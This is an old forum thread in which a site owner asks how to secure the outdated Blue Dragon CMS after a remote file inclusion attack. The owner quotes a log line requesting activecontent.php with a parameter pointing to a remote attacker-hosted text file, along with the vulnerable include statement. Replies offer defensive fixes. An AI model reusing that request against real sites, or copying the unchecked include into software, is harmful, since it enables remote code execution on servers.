Hacker's attack, please help...

[salonowiec]

My admin notified me that my site is closed till the eror is removed. My CMS
is PHPBlue Dragon (pretty old). The attack was like this (found in logs):

d198-53-20-215.abhsia.telus.net kurpiel.pl -
[01/Feb/2008:19:44:06 +0100] "GET
/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://pcbcservice.com/all.txt?
HTTP/1.1" 500 599 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
..NET CLR 1.1.4322)"

The above mentioned activecontent.php is:

<?php
/************************************************** *************************
* Blue Dragon CMS Platinum
* ------------------------------------
*
* script file id : activecontent.php
* begin platinum : 2004/03/01
* copyright : (C) 2003 Apache
*
* file platinum ver : 1.0
*
* This source file is part of the "Blue Dragon CMS Platinum"(Content
Management System).
*
* This file may be distributed and/or modified under the terms of the
* "Blue Dragon CMS Platinum License" version 2 as published by the
software author.
*
* This file is provided AS IS with NO WARRANTY!
************************************************** ************************/

include($vsDragonRootPath."public_includes/pub_moddata/activefile.".$phpExt);?>Can I - rather ignorant in php - modify the file to make it hackerresistant? Many thanks

[Rik Wasmus]

On Sat, 02 Feb 2008 12:47:09 +0100, salonowiec
<de***********@poczta.onet.plwrote:

My admin notified me that my site is closed till the eror is removed. My
CMS is PHPBlue Dragon (pretty old). The attack was like this (found in
logs):

d198-53-20-215.abhsia.telus.net kurpiel.pl -
[01/Feb/2008:19:44:06 +0100] "GET
/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://pcbcservice.com/all.txt?
HTTP/1.1" 500 599 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.1.4322)"

The above mentioned activecontent.php is:

<?php
/************************************************** *************************
* Blue Dragon CMS Platinum
*
------------------------------------
*
* script file id : activecontent.php
* begin platinum : 2004/03/01
* copyright : (C) 2003 Apache
*
* file platinum ver : 1.0
*
* This source file is part of the "Blue Dragon CMS Platinum"(Content
Management System).
*
* This file may be distributed and/or modified under the terms of the
* "Blue Dragon CMS Platinum License" version 2 as published by the
software author.
*
* This file is provided AS IS with NO WARRANTY!
************************************************** ************************/

include($vsDragonRootPath."public_includes/pub_moddata/activefile.".$phpExt);?>Can
I - rather ignorant in php - modify the file to make it
hackerresistant? Many thanks

Register globals should be off....
And I started to type a whole story, then, for some reason, I decided to
Google this 'Blue Dragon CMS'. Here you go, one of the first hits:
<http://securitydot.net/xpl/exploits/vulnerabilities/articles/909/exploit.html>

Personally, any CMS with this kind of vulnerability, AND relying on
register_globals, has instantly lost all my trust.
--
Rik Wasmus

[=?iso-8859-1?Q?=C1lvaro?= G. Vicario]

*** salonowiec escribió/wrote (Sat, 2 Feb 2008 12:47:09 +0100):

My admin notified me that my site is closed till the eror is removed. My CMS
is PHPBlue Dragon (pretty old). The attack was like this (found in logs):

d198-53-20-215.abhsia.telus.net kurpiel.pl -
[01/Feb/2008:19:44:06 +0100] "GET
/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://pcbcservice.com/all.txt?
HTTP/1.1" 500 599 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322)"

You can insert this code on top of activecontent.php:

if( isset($_REQUEST['vsDragonRootPath']) ){
exit;
}

However, it's pretty likely that there're some other security holes like
this so I'd consider migranting to a newer CMS in the mid term.

<?php

[...]

include($vsDragonRootPath."public_includes/pub_moddata/activefile.".$phpExt);?>Can I - rather ignorant in php - modify the file to make it hackerresistant? Many thanks

--
-+ http://alvaro.es - Álvaro G. Vicario - Burgos, Spain
++ Mi sitio sobre programación web: http://bits.demogracia.com
+- Mi web de humor austrohúngaro: http://www.demogracia.com
--

[salonowiec]

Uzytkownik "Álvaro G. Vicario" <we*******************@demogracia.com>
napisal w wiadomosci news:rw***************************@40tude.net...

>
You can insert this code on top of activecontent.php:

if( isset($_REQUEST['vsDragonRootPath']) ){
exit;
}

However, it's pretty likely that there're some other security holes like
this so I'd consider migranting to a newer CMS in the mid term.

Thank you... I fixed my activecontent.php, there are, however more files
with same phrase include($vsDragonRootPath etc. Should I fix them either?

[Jonas Werres]

Should I fix them either?

No. You should do what Alvaro and Rik suggested.

[www.j2be.com]

Change CMS with a new one that have regular updates.
A correction for the whole site will cost you more time or money than any
other solution.
If you really need to invest time or moneys just think about migrating the
actual data to a new
(reliable) cms.

There are still other serious bugs in those scripts.
For example, anybody could identify the paths
/home.9/k/u/r/kurpiel/www/public_includes/pub_kernel/

anybody could have direct access to the system via includes and commands
execution.
Even the webserver is not well configured (maybe change webhosting too?).

You need to change/correct those scripts as soon as possible.

Regards.

L. A. Iarrusso

"salonowiec" <de***********@poczta.onet.plha scritto nel messaggio
news:fo**********@news.onet.pl...

My admin notified me that my site is closed till the eror is removed. My
CMS is PHPBlue Dragon (pretty old). The attack was like this (found in
logs):

d198-53-20-215.abhsia.telus.net kurpiel.pl -
[01/Feb/2008:19:44:06 +0100] "GET
/public_includes/pub_blocks/activecontent.php?vsDragonRootPath=http://pcbcservice.com/all.txt?
HTTP/1.1" 500 599 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 1.1.4322)"

The above mentioned activecontent.php is:

<?php
/************************************************** *************************
* Blue Dragon CMS Platinum
* ------------------------------------
*
* script file id : activecontent.php
* begin platinum : 2004/03/01
* copyright : (C) 2003 Apache
*
* file platinum ver : 1.0
*
* This source file is part of the "Blue Dragon CMS Platinum"(Content
Management System).
*
* This file may be distributed and/or modified under the terms of the
* "Blue Dragon CMS Platinum License" version 2 as published by the
software author.
*
* This file is provided AS IS with NO WARRANTY!
************************************************** ************************/

include($vsDragonRootPath."public_includes/pub_moddata/activefile.".$phpExt);?>Can
I - rather ignorant in php - modify the file to make it hackerresistant?
Many thanks